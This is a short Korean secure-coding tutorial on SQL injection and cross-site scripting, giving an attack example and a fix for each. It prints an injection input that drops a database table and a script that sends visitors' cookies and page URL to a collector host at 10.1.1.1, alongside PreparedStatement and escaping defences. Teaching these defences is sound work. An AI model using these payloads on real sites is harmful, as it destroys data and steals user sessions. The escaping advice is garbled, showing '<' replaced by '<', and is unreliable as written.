< Sql injection >
[공격 예제]
Java 소스의 게시판 검색 Sql 구문 코딩이 아래와 같다고 하고
String findQuery = “select * from notice where title = '” + keyword + “' “ ;
홈페이지의 게시판 검색 시 keyword 에
“ any' ; DROP TABLE NOTICE “ 를 넣고 검색한다면
아래와 같은 Sql 구문이 실행되고
SELECT * FROM notice WHERE title = 'any' ; DROP TABLE notice
NOTICE 테이블이 삭제됩니다.
[예방법]
Sql 구문을 직접 생성하는 방법을 피하면 됩니다.
Java의 경우 Prepared Statement 를 이용하면 예방가능합니다.
--------------------------------------------------------------------------
String findQuery = “select * from notice where title = ? “;
PreparedStatement pstmt = dbConnection.prepareStatement(findQuery);
pstmt.setString(1, keyword);
ResultSet rs = pstmt.executeQuery();
-----------------------------------------------------------------------
l 참고 URL
http://korea.internet.com/channel/content.asp?kid=18&cid=185&nid=34414
< Cross Site Scripting (XSS) >
[공격 예제]
아래의 코드가 웹페이지에 삽입되어 있다면
----------------------------------------------------------------
<script>
document.location.replace('http://10.1.1.1:8080/ getCookie.cgi?'+document.cookie+'&'+document.URL);
</script>
---------------------------------------------------------------
페이지를 접속하는 순간에 사용자의 쿠기값들과 현재 페이지 URL을 http://10.1.1.1:8080/getCookie.cgi 로 전송합니다.
위의 예 이외에도 여러가지 유형이 있습니다.
[예방법]
대부분의 XSS는 게시판을 통해서 일어나므로
사용자들 게시판에 html 코드를 쓸 수 없게 합니다.
이 때 DB에 게시물을 Insert 시에는 처리할 것이 없습니다.
DB에서 해당 게시물을 조회할 때
게시물 내용에서 “ < “ 는 < 로 변경 하고 ” > “ 는 > 로 변경 해주면 웹브라우져는 악의적인 코드를 html태그로 인식하지 않으므로 스크립트가 실행되지 않습니다(화면에는 입력한 대로 출력되어 보이게 됩니다).
l 참고 URL
http://www.zdnet.co.kr/builder/system/security/0,39031673,39131781,00.htm